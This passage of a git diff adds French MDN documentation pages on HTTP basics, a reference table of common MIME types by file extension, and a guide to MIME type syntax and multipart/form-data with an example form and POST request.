+urn:isbn:9780141036144
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7230", "Uniform Resource Identifiers", "2.7")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Learn/Common_questions/What_is_a_URL">Qu'est-ce qu'une URL ?</a></li>
+ <li><a href="https://www.iana.org/assignments/uri-schemes/uri-schemes.xhtml">La liste des différents schémas des URIs, maintenue par l'IANA</a></li>
+</ul>
diff --git a/files/fr/web/http/basics_of_http/index.html b/files/fr/web/http/basics_of_http/index.html
new file mode 100644
index 0000000000..0276210a16
--- /dev/null
+++ b/files/fr/web/http/basics_of_http/index.html
@@ -0,0 +1,48 @@
+---
+title: L'essentiel de HTTP
+slug: Web/HTTP/Basics_of_HTTP
+tags:
+  - Aperçu
+  - HTTP
+translation_of: Web/HTTP/Basics_of_HTTP
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP est un protocole extensible. Il s'appuie sur quelques concepts basiques comme la notion de ressources et d'URI, une structure de messages simple et une structure client-serveur pour le flux de communication. En plus de ces concepts basiques, de nombreuses extensions du protocole sont apparues au fil des ans, ajoutant de nouvelles fonctionnalités et de nouvelle syntaxes en créant de nouvelles méthodes ou en-têtes HTTP.</p>
+
+<h2 id="Articles">Articles</h2>
+
+<dl>
+ <dt><a href="/fr/docs/Web/HTTP/Overview">Vue d'ensemble de HTTP</a></dt>
+ <dd>Décrit ce qu'est HTTP et son rôle dans l'architecture du Web ainsi que sa position dans la pile de protocoles.</dd>
+ <dt><a href="/fr/docs/Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP">Évolution de HTTP</a></dt>
+ <dd>HTTP a été créé au début des années 1990 et a été étendu plusieurs fois. Cet article relate son histoire et décrit HTTP/0.9, HTTP/1.0, HTTP/1.1, et le récent HTTP/2. Les nouveautés mineures introduites au fil des ans sont aussi présentées.</dd>
+ <dt><strong>Négocier une version HTTP</strong></dt>
+ <dd>Explique comment un client et un serveur peuvent négocier une version HTTP spécifique pour pouvoir utiliser une version plus récente du protocole.</dd>
+ <dt><a href="/fr/docs/Web/HTTP/Resources_and_URIs">Ressources et URIs</a></dt>
+ <dd>Une brève introduction à la notion de ressources, d'identifiants, et de localisations sur le web.</dd>
+ <dt><a href="/fr/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web">Identifier des ressources sur le web</a></dt>
+ <dd>Décrit comment les ressources web sont référencées et comment les localiser.</dd>
+ <dt><a href="/fr/docs/Web/HTTP/Basics_of_HTTP/Data_URIs">URIs de données</a></dt>
+ <dd>Un type d'URIs spécifique qui intègre directement la ressource qu'il représente. Les URIs de données sont très commodes mais s'accompagnent de quelques mises en garde.</dd>
+ <dt>URLs de ressources</dt>
+ <dd>Les URLs de ressources, qui sont préfixées par le schéma <code>resource:</code> sont utilisées par Firefox et les extensions de Firefox pour charger des ressources de façon interne, néanmoins une partie de l'information est exposée aux sites web lorsque le navigateur s'y connecte.</dd>
+ <dt>Séparer l'identité et la localisation d'une ressource : l'en-tête HTTP Alt-Svc (Alternative Service)</dt>
+ <dd>La plupart du temps, l'identité et la localisation d'une ressource web sont associées. Cela peut être modifié avec l'en-tête {{HTTPHeader("Alt-Svc")}}.</dd>
+ <dt><a href="/fr/docs/Web/HTTP/Basics_of_HTTP/MIME_types">Types MIME</a></dt>
+ <dd>Depuis HTTP/1.0, différents types de contenus peuvent être transmis. Cet article explique comment cela est fait via l'utilisation de l'en-tête {HTTPHeader("Content-Type")}} et le standard MIME.</dd>
+ <dt><a href="/fr/docs/Web/HTTP/Basics_of_HTTP/Choosing_between_www_and_non-www_URLs">Choisir entre des URL de type www ou non</a></dt>
+ <dd>Conseil sur l'utilisation d'un domaine préfixé ou non par www. Cet article explique les conséquences de ce choix aussi que les facteurs à considérer lors du choix.</dd>
+ <dt>Flux d'une session HTTP</dt>
+ <dd>Cet article fondamental décrit une session HTTP typique ; c'est-à-dire ce qui se passe "sous le capot" quand vous cliquez sur un lien dans votre navigateur ...</dd>
+ <dt><a href="/fr/docs/Web/HTTP/Messages">Messages HTTP</a></dt>
+ <dd>Les messages HTTP transmis pendant les requêtes ou les réponses ont une structure très claire. Cet article d'introduction décrit cette structure, son but et les possibilités qu'elle offre.</dd>
+ <dt>Trame et structure de message en HTTP/2</dt>
+ <dd>HTTP/2 représente les messages HTTP/1.x par une trame binaire. Cet article explique la structure de la trame, son but et la manière dont elle est encodée.</dd>
+ <dt><a href="/fr/docs/Web/HTTP/Connection_management_in_HTTP_1.x">Gestion des connexions en HTTP/1.x</a></dt>
+ <dd>HTTP/1.1 était la première version d'HTTP à supporter les connexions persistantes et la combinaison de requêtes dans une seule connexion. Cet article explique ces deux concepts.</dd>
+ <dt>Gestion des connexions en HTTP/2</dt>
+ <dd>HTTP/2 a complètement revisité la manière dont les connexions sont créées et maintenues. Cet article explique comment les trames HTTP permettent le multiplexage et résolvent le problème de la trame bloquante ('head-of-line' blocking) des précédentes versions.</dd>
+ <dt><a href="/fr/docs/Web/HTTP/Content_negotiation">Négociation du contenu</a></dt>
+ <dd>HTTP introduit une série d'en-têtes commençant par <code>Accept-</code> permettant a un navigateur d'annoncer le format, la langue ou l'encodage qu'il préfère. Cet article explique comment cette préférence est déclarée, quelle réaction est attendue de la part du serveur et comment celui-ci choisit la réponse la plus adéquate possible.</dd>
+</dl>
diff --git a/files/fr/web/http/basics_of_http/mime_types/common_types/index.html b/files/fr/web/http/basics_of_http/mime_types/common_types/index.html
new file mode 100644
index 0000000000..0fd192adb2
--- /dev/null
+++ b/files/fr/web/http/basics_of_http/mime_types/common_types/index.html
@@ -0,0 +1,356 @@
+---
+title: Liste des types MIME communs
+slug: Web/HTTP/Basics_of_HTTP/MIME_types/Common_types
+tags:
+  - Audio
+  - HTTP
+  - Reference
+  - Types MIME
+  - Video
+translation_of: Web/HTTP/Basics_of_HTTP/MIME_types/Common_types
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Voici une liste de types MIME, associés par type et ordonnée par extension.</p>
+
+<p>Il existe deux types MIME principaux qui jouent un rôle important en terme de types par défaut :</p>
+
+<ul>
+ <li><code>text/plain</code> est le type MIME par défaut pour les fichiers texte. Un fichier texte doit pouvoir être lu par un utilisateur et ne pas contenir de données binaires.</li>
+ <li><code>application/octet-stream</code> est le type MIME par défaut dans tous les autres cas. Un fichier de type inconnu doit être associé à ce type MIME. Les navigateurs traiteront les fichiers associés à ce type MIME de façon particulière pour protéger au maximum l'utilisateur des éventuels risques de sécurité.</li>
+</ul>
+
+<p>L'IANA constitue le registre officiel pour l'ensemble des types MIME et maintient une liste exhaustive à l'adresse suivante : <a href="https://www.iana.org/assignments/media-types/media-types.xhtml">https://www.iana.org/assignments/media-types/media-types.xhtml</a>. La table ci-dessous se focalise sur les types MIME importants dans le cadre du Web, <strong>elle n'est donc pas exhaustive :</strong></p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Extension</th>
+   <th scope="col">Type de document</th>
+   <th scope="col">Type MIME</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>.aac</code></td>
+   <td>fichier audio AAC</td>
+   <td><code>audio/aac</code></td>
+  </tr>
+  <tr>
+   <td><code>.abw</code></td>
+   <td>document <a href="https://fr.wikipedia.org/wiki/AbiWord">AbiWord</a></td>
+   <td><code>application/x-abiword</code></td>
+  </tr>
+  <tr>
+   <td><code>.arc</code></td>
+   <td>archive (contenant plusieurs fichiers)</td>
+   <td><code>application/octet-stream</code></td>
+  </tr>
+  <tr>
+   <td><code>.avi</code></td>
+   <td>AVI : Audio Video Interleave</td>
+   <td><code>video/x-msvideo</code></td>
+  </tr>
+  <tr>
+   <td><code>.azw</code></td>
+   <td>format pour eBook Amazon Kindle</td>
+   <td><code>application/vnd.amazon.ebook</code></td>
+  </tr>
+  <tr>
+   <td><code>.bin</code></td>
+   <td>n'importe quelle donnée binaire</td>
+   <td><code>application/octet-stream</code></td>
+  </tr>
+  <tr>
+   <td><code>.bmp</code></td>
+   <td>Images bitmap Windows OS/2</td>
+   <td><code>image/bmp</code></td>
+  </tr>
+  <tr>
+   <td><code>.bz</code></td>
+   <td>archive BZip</td>
+   <td><code>application/x-bzip</code></td>
+  </tr>
+  <tr>
+   <td><code>.bz2</code></td>
+   <td>archive BZip2</td>
+   <td><code>application/x-bzip2</code></td>
+  </tr>
+  <tr>
+   <td><code>.csh</code></td>
+   <td>script C-Shell</td>
+   <td><code>application/x-csh</code></td>
+  </tr>
+  <tr>
+   <td><code>.css</code></td>
+   <td>fichier Cascading Style Sheets (CSS)</td>
+   <td><code>text/css</code></td>
+  </tr>
+  <tr>
+   <td><code>.csv</code></td>
+   <td>fichier Comma-separated values (CSV)</td>
+   <td><code>text/csv</code></td>
+  </tr>
+  <tr>
+   <td><code>.doc</code></td>
+   <td>Microsoft Word</td>
+   <td><code>application/msword</code></td>
+  </tr>
+  <tr>
+   <td><code>.docx</code></td>
+   <td>Microsoft Word (OpenXML)</td>
+   <td><code>application/vnd.openxmlformats-officedocument.wordprocessingml.document</code></td>
+  </tr>
+  <tr>
+   <td><code>.eot</code></td>
+   <td>police MS Embedded OpenType</td>
+   <td><code>application/vnd.ms-fontobject</code></td>
+  </tr>
+  <tr>
+   <td><code>.epub</code></td>
+   <td>fichier Electronic publication (EPUB)</td>
+   <td><code>application/epub+zip</code></td>
+  </tr>
+  <tr>
+   <td><code>.gif</code></td>
+   <td>fichier Graphics Interchange Format (GIF)</td>
+   <td><code>image/gif</code></td>
+  </tr>
+  <tr>
+   <td><code>.htm<br>
+    .html</code></td>
+   <td>fichier HyperText Markup Language (HTML)</td>
+   <td><code>text/html</code></td>
+  </tr>
+  <tr>
+   <td><code>.ico</code></td>
+   <td>icône</td>
+   <td><code>image/x-icon</code></td>
+  </tr>
+  <tr>
+   <td><code>.ics</code></td>
+   <td>élément iCalendar</td>
+   <td><code>text/calendar</code></td>
+  </tr>
+  <tr>
+   <td><code>.jar</code></td>
+   <td>archive Java (JAR)</td>
+   <td><code>application/java-archive</code></td>
+  </tr>
+  <tr>
+   <td><code>.jpeg</code><br>
+    <code>.jpg</code></td>
+   <td>image JPEG</td>
+   <td><code>image/jpeg</code></td>
+  </tr>
+  <tr>
+   <td><code>.js</code></td>
+   <td>JavaScript (ECMAScript)</td>
+   <td><code>application/javascript</code></td>
+  </tr>
+  <tr>
+   <td><code>.json</code></td>
+   <td>donnée au format JSON</td>
+   <td><code>application/json</code></td>
+  </tr>
+  <tr>
+   <td><code>.mid</code><br>
+    <code>.midi</code></td>
+   <td>fichier audio Musical Instrument Digital Interface (MIDI)</td>
+   <td><code>audio/midi</code></td>
+  </tr>
+  <tr>
+   <td><code>.mpeg</code></td>
+   <td>vidéo MPEG</td>
+   <td><code>video/mpeg</code></td>
+  </tr>
+  <tr>
+   <td><code>.mpkg</code></td>
+   <td>paquet Apple Installer</td>
+   <td><code>application/vnd.apple.installer+xml</code></td>
+  </tr>
+  <tr>
+   <td><code>.odp</code></td>
+   <td>présentation OpenDocument</td>
+   <td><code>application/vnd.oasis.opendocument.presentation</code></td>
+  </tr>
+  <tr>
+   <td><code>.ods</code></td>
+   <td>feuille de calcul OpenDocument</td>
+   <td><code>application/vnd.oasis.opendocument.spreadsheet</code></td>
+  </tr>
+  <tr>
+   <td><code>.odt</code></td>
+   <td>document texte OpenDocument</td>
+   <td><code>application/vnd.oasis.opendocument.text</code></td>
+  </tr>
+  <tr>
+   <td><code>.oga</code></td>
+   <td>fichier audio OGG</td>
+   <td><code>audio/ogg</code></td>
+  </tr>
+  <tr>
+   <td><code>.ogv</code></td>
+   <td>fichier vidéo OGG</td>
+   <td><code>video/ogg</code></td>
+  </tr>
+  <tr>
+   <td><code>.ogx</code></td>
+   <td>OGG</td>
+   <td><code>application/ogg</code></td>
+  </tr>
+  <tr>
+   <td><code>.otf</code></td>
+   <td>police OpenType</td>
+   <td><code>font/otf</code></td>
+  </tr>
+  <tr>
+   <td><code>.png</code></td>
+   <td>fichier Portable Network Graphics</td>
+   <td><code>image/png</code></td>
+  </tr>
+  <tr>
+   <td><code>.pdf</code></td>
+   <td>Adobe Portable Document Format (PDF)</td>
+   <td><code>application/pdf</code></td>
+  </tr>
+  <tr>
+   <td><code>.ppt</code></td>
+   <td>présentation Microsoft PowerPoint</td>
+   <td><code>application/vnd.ms-powerpoint</code></td>
+  </tr>
+  <tr>
+   <td><code>.pptx</code></td>
+   <td>présentation Microsoft PowerPoint (OpenXML)</td>
+   <td><code>application/vnd.openxmlformats-officedocument.presentationml.presentation</code></td>
+  </tr>
+  <tr>
+   <td><code>.rar</code></td>
+   <td>archive RAR</td>
+   <td><code>application/x-rar-compressed</code></td>
+  </tr>
+  <tr>
+   <td><code>.rtf</code></td>
+   <td>Rich Text Format (RTF)</td>
+   <td><code>application/rtf</code></td>
+  </tr>
+  <tr>
+   <td><code>.sh</code></td>
+   <td>script shell</td>
+   <td><code>application/x-sh</code></td>
+  </tr>
+  <tr>
+   <td><code>.svg</code></td>
+   <td>fichier Scalable Vector Graphics (SVG)</td>
+   <td><code>image/svg+xml</code></td>
+  </tr>
+  <tr>
+   <td><code>.swf</code></td>
+   <td>fichier <a href="https://fr.wikipedia.org/wiki/Small_Web_Format">Small web format</a> (SWF) ou Adobe Flash</td>
+   <td><code>application/x-shockwave-flash</code></td>
+  </tr>
+  <tr>
+   <td><code>.tar</code></td>
+   <td>fichier d'archive Tape Archive (TAR)</td>
+   <td><code>application/x-tar</code></td>
+  </tr>
+  <tr>
+   <td><code>.tif<br>
+    .tiff</code></td>
+   <td>image au format Tagged Image File Format (TIFF)</td>
+   <td><code>image/tiff</code></td>
+  </tr>
+  <tr>
+   <td><code>.ts</code></td>
+   <td>fichier Typescript</td>
+   <td><code>application/typescript</code></td>
+  </tr>
+  <tr>
+   <td><code>.ttf</code></td>
+   <td>police TrueType</td>
+   <td><code>font/ttf</code></td>
+  </tr>
+  <tr>
+   <td><code>.vsd</code></td>
+   <td>Microsoft Visio</td>
+   <td><code>application/vnd.visio</code></td>
+  </tr>
+  <tr>
+   <td><code>.wav</code></td>
+   <td>Waveform Audio Format</td>
+   <td><code>audio/x-wav</code></td>
+  </tr>
+  <tr>
+   <td><code>.weba</code></td>
+   <td>fichier audio WEBM</td>
+   <td><code>audio/webm</code></td>
+  </tr>
+  <tr>
+   <td><code>.webm</code></td>
+   <td>fichier vidéo WEBM</td>
+   <td><code>video/webm</code></td>
+  </tr>
+  <tr>
+   <td><code>.webp</code></td>
+   <td>image WEBP</td>
+   <td><code>image/webp</code></td>
+  </tr>
+  <tr>
+   <td><code>.woff</code></td>
+   <td>police Web Open Font Format (WOFF)</td>
+   <td><code>font/woff</code></td>
+  </tr>
+  <tr>
+   <td><code>.woff2</code></td>
+   <td>police Web Open Font Format (WOFF)</td>
+   <td><code>font/woff2</code></td>
+  </tr>
+  <tr>
+   <td><code>.xhtml</code></td>
+   <td>XHTML</td>
+   <td><code>application/xhtml+xml</code></td>
+  </tr>
+  <tr>
+   <td><code>.xls</code></td>
+   <td>Microsoft Excel</td>
+   <td><code>application/vnd.ms-excel</code></td>
+  </tr>
+  <tr>
+   <td><code>.xlsx</code></td>
+   <td>Microsoft Excel (OpenXML)</td>
+   <td><code>application/vnd.openxmlformats-officedocument.spreadsheetml.sheet</code></td>
+  </tr>
+  <tr>
+   <td><code>.xml</code></td>
+   <td><code>XML</code></td>
+   <td><code>application/xml</code></td>
+  </tr>
+  <tr>
+   <td><code>.xul</code></td>
+   <td>XUL</td>
+   <td><code>application/vnd.mozilla.xul+xml</code></td>
+  </tr>
+  <tr>
+   <td><code>.zip</code></td>
+   <td>archive ZIP</td>
+   <td><code>application/zip</code></td>
+  </tr>
+  <tr>
+   <td><code>.3gp</code></td>
+   <td>conteneur audio/vidéo <a href="https://fr.wikipedia.org/wiki/3GP">3GPP</a></td>
+   <td><code>video/3gpp</code><br>
+    <code>audio/3gpp</code> dans le cas où le conteneur ne comprend pas de vidéo</td>
+  </tr>
+  <tr>
+   <td><code>.3g2</code></td>
+   <td>conteneur audio/vidéo <a href="https://fr.wikipedia.org/wiki/3GP">3GPP2</a></td>
+   <td><code>video/3gpp2</code><br>
+    <code>audio/3gpp2</code> dans le cas où le conteneur ne comprend pas de vidéo</td>
+  </tr>
+  <tr>
+   <td><code>.7z</code></td>
+   <td>archive <a href="https://fr.wikipedia.org/wiki/7-Zip">7-zip</a></td>
+   <td><code>application/x-7z-compressed</code></td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/http/basics_of_http/mime_types/index.html b/files/fr/web/http/basics_of_http/mime_types/index.html
new file mode 100644
index 0000000000..e114c7584f
--- /dev/null
+++ b/files/fr/web/http/basics_of_http/mime_types/index.html
@@ -0,0 +1,318 @@
+---
+title: Types MIME
+slug: Web/HTTP/Basics_of_HTTP/MIME_types
+tags:
+  - Content-Type
+  - Guide
+  - HTTP
+  - Types MIME
+translation_of: Web/HTTP/Basics_of_HTTP/MIME_types
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Le <strong>type Multipurpose Internet Mail Extensions (type MIME)</strong> est un standard permettant d'indiquer la nature et le format d'un document. Il est défini au sein de la <a href="https://tools.ietf.org/html/rfc6838">RFC 6838</a>. L'<a href="https://www.iana.org/">Internet Assigned Numbers Authority (IANA)</a> est l'organisme officiel responsable du suivi de l'ensemble des types MIME officiels existants. Une liste exhaustive et maintenue est consultable sur la <a href="https://www.iana.org/assignments/media-types/media-types.xhtml">page Media Types de l'IANA</a>.</p>
+
+<p>Les navigateurs utilisent le plus souvent le type MIME et non l'extension d'un fichier pour déterminer la façon dont ils vont traiter ou afficher un document. Il est donc important que les serveurs puissent correctement attacher le type MIME dans l'en-tête de la réponse qu'ils renvoient.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Structure_générale">Structure générale</h3>
+
+<pre class="syntaxbox">type/sous-type</pre>
+
+<p>La structure d'un type MIME est simple, elle est composée d'un type et d'un sous-type. Les deux chaînes de caractères sont séparées par un <code>'/'</code>. Les caractères d'espacement ne sont pas autorisés. Le <em>type</em> représente la catégorie et peut être <em>particulier</em> ou <em>composé</em> lorsqu'il regroupe plusieurs formats. Le <em>sous-type</em> est spécifique à chaque type.</p>
+
+<p>Un type MIME est insensible à la casse mais il s'écrit usuellement en minuscule.</p>
+
+<h3 id="Types_particuliers">Types particuliers</h3>
+
+<pre class="syntaxbox">text/plain
+text/html
+image/jpeg
+image/png
+audio/mpeg
+audio/ogg
+audio/*
+video/mp4
+application/octet-stream
+…</pre>
+
+<p>Les types <em>particuliers</em> indiquent la catégorie d'un document. Les valeurs possibles sont :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+   <th scope="col">Exemple de sous-type communément associé</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>text</code></td>
+   <td>Représente n'importe quel document contenant du texte et qui est théoriquement lisible par un utilisateur.</td>
+   <td><code>text/plain</code>, <code>text/html</code>, <code>text/css, text/javascript</code></td>
+  </tr>
+  <tr>
+   <td><code>image</code></td>
+   <td>Représente n'importe quelle image. Les vidéos ne font pas partie de ce type bien que les images animées tels les GIFs animés) font partie de ce type.</td>
+   <td><code>image/gif</code>, <code>image/png</code>, <code>image/jpeg</code>, <code>image/bmp</code>, <code>image/webp</code></td>
+  </tr>
+  <tr>
+   <td><code>audio</code></td>
+   <td>Représente n'importe quel fichier audio.</td>
+   <td><code>audio/midi</code>, <code>audio/mpeg, audio/webm, audio/ogg, audio/wav</code></td>
+  </tr>
+  <tr>
+   <td><code>video</code></td>
+   <td>Représente n'importe quel fichier vidéo.</td>
+   <td><code>video/webm</code>, <code>video/ogg</code></td>
+  </tr>
+  <tr>
+   <td><code>application</code></td>
+   <td>Représente n'importe quelle donnée binaire.</td>
+   <td><code>application/octet-stream</code>, <code>application/pkcs12</code>, <code>application/vnd.mspowerpoint</code>, <code>application/xhtml+xml</code>, <code>application/xml</code>, <code>application/pdf</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p><code>text/plain</code> doit être utilisé pour tous les documents texte sans sous-type spécifique. De la même façon, les documents binaires sans sous-type ou dont le sous-type est inconnu doivent utiliser <code>application/octet-stream</code>.</p>
+
+<h3 id="Types_composés_ou_multipart">Types composés ou <em>multipart</em></h3>
+
+<pre class="syntaxbox">multipart/form-data
+multipart/byteranges</pre>
+
+<p id="sect1">Les types composés, aussi appelés types <em>multipart</em> indiquent une catégorie de document qui sont constitués de différents éléments. A l'exception de <code>multipart/form-data</code>, utilisé en association avec des <a href="/fr/docs/Web/Guide/HTML/Forms">formulaires HTML</a> et la méthode {{HTTPMethod("POST")}} et de <code>multipart/byteranges</code>, utilisé avec le statut HTTP {{HTTPStatus("206")}} <code>Partial Content</code> renvoyant uniquement une sous-partie du document ce qui entraînera vraisemblablement l'apparition d'une fenêtre "Enregistrer sous" étant donné que HTTP ne gère pas ces documents de manière différente et que le navigateur ne saura pas commment afficher ce document incomplet.</p>
+
+<h2 id="Types_MIME_utiles_pour_les_développeurs_web">Types MIME utiles pour les développeurs web</h2>
+
+<h3 id="applicationoctet-stream"><code>application/octet-stream</code></h3>
+
+<p>Il s'agit de la valeur par défaut pour un fichier binaire. Etant donné qu'il signifie <em>fichier binaire inconnu</em> il est probable que les navigateurs ne l'exécutent pas automatiquement et que l'utilisateur ne puisse pas l'exécuter directement dans le navigateur. Le comportement sera alors le même que si l'en-tête {{HTTPHeader("Content-Disposition")}} était présente avec la valeur <code>attachment</code> et proposera une invite "Enregistrer sous".</p>
+
+<h3 id="textplain"><code>text/plain</code></h3>
+
+<p>Il s'agit de la valeur par défaut pour les fichiers texte. Bien qu'il signifie fichier texte de format inconnu, les navigateurs prendront pour hypothèse qu'ils peuvent l'afficher.</p>
+
+<div class="note">
+<p>Il est important de noter que <code>text/plain</code> ne signifie pas <em>tous les formats de fichiers textuels</em>. Si le client s'attend à recevoir un format particulier de données textuelles, il est vraisemblable que le type <code>text/plain</code> ne soit pas considéré comme valide à la réception. Par exemple, si le client télécharge un fichier <code>text/plain</code> à partir d'un {{HTMLElement("link")}} déclarant des fichiers CSS, ce dernier ne sera pas considéré comme un CSS, le type MIME à utiliser étant <code>text/css</code>.</p>
+</div>
+
+<h3 id="textcss"><code>text/css</code></h3>
+
+<p>N'importe quel fichier CSS qui doit être interprété comme pour servir une page web <strong> doit</strong> être de type <code>text/css</code>. Bien souvent, les serveurs ne sont pas en mesure de reconnaître les fichiers ayant l'extension <code>.css</code> comme étant des fichiers CSS, ces derniers sont donc transmis avec le type MIME <code>text/plain</code> ou <code>application/octet-stream</code>. Dès lors, les navigateurs ne les considèreront pas comme des fichiers CSS et ils seront ignorés. Il est donc important de servir les fichiers CSS à l'aide du type approprié.</p>
+
+<h3 id="texthtml"><code>text/html</code></h3>
+
+<p>L'ensemble du contenu HTML doit être renvoyé à l'aide de ce type. Les types MIME pour XHTML (comme <code>application/xml+html)</code> ne sont actuellement plus utilisés (HTML5 ayant unifié ces formats).</p>
+
+<h3 id="Formats_dimages">Formats d'images</h3>
+
+<p>Seuls quelques types MIME associés à des images sont largement reconnus et considérés comme pouvant être utilisé sans risque sur le Web, on peut donc directement les intégrer dans une page web :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Type MIME</th>
+   <th scope="col">Format d'image</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>image/gif</code></td>
+   <td>images GIF (compression sans perte, remplacé par PNG)</td>
+  </tr>
+  <tr>
+   <td><code>image/jpeg</code></td>
+   <td>images JPEG</td>
+  </tr>
+  <tr>
+   <td><code>image/png</code></td>
+   <td>images PNG</td>
+  </tr>
+  <tr>
+   <td><code>image/svg+xml</code></td>
+   <td>images SVG (images vectorielles)</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Il y a un débat quant à l'ajout de WebP (<code>image/webp</code>) à cette liste. En effet l'ajout d'un nouveau format mènerait à une augmentation du nombre de cas à gérer et pourrait introduire des problématiques de sécurité, pour ces raisons les constructeurs de navigateurs font preuve de précaution avant de l'intégrer.</p>
+
+<p>D'autres formats d'images peuvent constituer un document web. Par exemple, la plupart des navigateurs web supportent les types des images favicon, le format ICO étant pris en charge à l'aide du type MIME <code>image/x-icon</code>.</p>
+
+<h3 id="Formats_audios_et_vidéos">Formats audios et vidéos</h3>
+
+<p>Comme pour les images, HTML ne définit pas de liste de formats supportés pour les éléments {{HTMLElement("audio")}} et {{HTMLElement("video")}}. Dès lors, seul un ensemble restreint de formats est en mesure d'être utilisé sur le Web. La page <a href="/fr/docs/Web/HTML/Supported_media_formats">Formats pris en charge par les balises audio et video</a> détaille les codecs et les formats qui peuvent être employés.</p>
+
+<p>Le format MIME de ces fichiers représente généralement le format du conteneur contenant le fichier. Dans le cas du Web, les formats les plus courants sont :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Type MIME</th>
+   <th scope="col">Format audio et vidéo</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>audio/wave</code><br>
+    <code>audio/wav</code><br>
+    <code>audio/x-wav</code><br>
+    <code>audio/x-pn-wav</code></td>
+   <td>Un fichier audio WAVE. Le codec audio PCM (WAVE codec "1") est souvent pris en charge tandis que les autres codecs offrent une prise en charge moindre (lorsqu'elle existe).</td>
+  </tr>
+  <tr>
+   <td><code>audio/webm</code></td>
+   <td>Un fichier audio WebM. Les codecs les plus fréquemment associés sont Vorbis et Opus.</td>
+  </tr>
+  <tr>
+   <td><code>video/webm</code></td>
+   <td>Un fichier vidéo, pouvant contenir de l'audio, au format WebM. Les codecs vidéos VP8 et VP9 sont les plus communs tandis que Vorbis and Opus constituent les codecs audios les plus fréquents.</td>
+  </tr>
+  <tr>
+   <td><code>audio/ogg</code></td>
+   <td>Un fichier audio au format OGG. Vorbis est le codec audio le plus utilisé pour traiter ce genre de format conteneur.</td>
+  </tr>
+  <tr>
+   <td><code>video/ogg</code></td>
+   <td>Un fichier vidéo, pouvant contenir de l'audio, au format OGG. Theora est le codec vidéo habituel pour ce genre de conteneur tandis que Vorbis est utilisé pour l'audio.</td>
+  </tr>
+  <tr>
+   <td>
+    <p><code>application/ogg</code></p>
+   </td>
+   <td>
+    <p>Un fichier audio ou vidéo au format OGG. Theora et Vorbis constituent respectivement les codecs vidéo et audio souvent utilisés.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="multipartform-data"><code>multipart/form-data</code></h3>
+
+<p>Le type <code>multipart/form-data</code> peut être utilisé lors de l'envoi du contenu d'un <a href="/fr/docs/Web/Guide/HTML/Forms">formulaire HTML</a> du navigateur vers le serveur. En tant que document composé ou <em>multipart</em> il est constitué de différentes parties délimitées par une frontière (une chaîne de caractères débutant par un tiret double <code>'--'</code>). Chaque partie est une entité propre qui possède ses propres en-têtes {{HTTPHeader("Content-Disposition")}} et {{HTTPHeader("Content-Type")}} lorsqu'il s'agit d'un champ permettant de téléverser un fichier. L'en-tête ({{HTTPHeader("Content-Length")}} est ignorée puisque la limite est assurée par la frontière.</p>
+
+<pre class="syntaxbox">Content-Type: multipart/form-data; boundary=aChaineDeDélimitation
+(en-têtes divers associés à l'ensemble du document)
+
+--aChaineDeDélimitation
+Content-Disposition: form-data; name="monFichier"; filename="img.jpg"
+Content-Type: image/jpeg
+
+(données)
+--aChaineDeDélimitation
+Content-Disposition: form-data; name="monChamp"
+
+(données)
+--aChaineDeDélimitation
+(éléments additionnels)
+--aChaineDeDélimitation--
+
+</pre>
+
+<p>Le formulaire suivant :</p>
+
+<pre class="brush: html">&lt;form action="http://localhost:8000/" method="post" enctype="multipart/form-data"&gt;
+  &lt;input type="text" name="monChampTexte"&gt;
+  &lt;input type="checkbox" name="maCheckBox"&gt;Check&lt;/input&gt;
+  &lt;input type="file" name="monFichier"&gt;
+  &lt;button&gt;Envoyer le fichier&lt;/button&gt;
+&lt;/form&gt;</pre>
+
+<p>enverra le message suivant :</p>
+
+<pre>POST / HTTP/1.1
+Host: localhost:8000
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate
+Connection: keep-alive
+Upgrade-Insecure-Requests: 1
+Content-Type: multipart/form-data; boundary=---------------------------8721656041911415653955004498
+Content-Length: 465
+
+-----------------------------8721656041911415653955004498
+Content-Disposition: form-data; name="monChampTexte"
+
+Test
+-----------------------------8721656041911415653955004498
+Content-Disposition: form-data; name="maCheckBox"
+
+sur
+-----------------------------8721656041911415653955004498
+Content-Disposition: form-data; name="monFichier"; filename="test.txt"
+Content-Type: text/plain
+
+un fichier simple.
+-----------------------------8721656041911415653955004498--
+
+</pre>
+
+<h3 id="multipartbyteranges"><code>multipart/byteranges</code></h3>
+
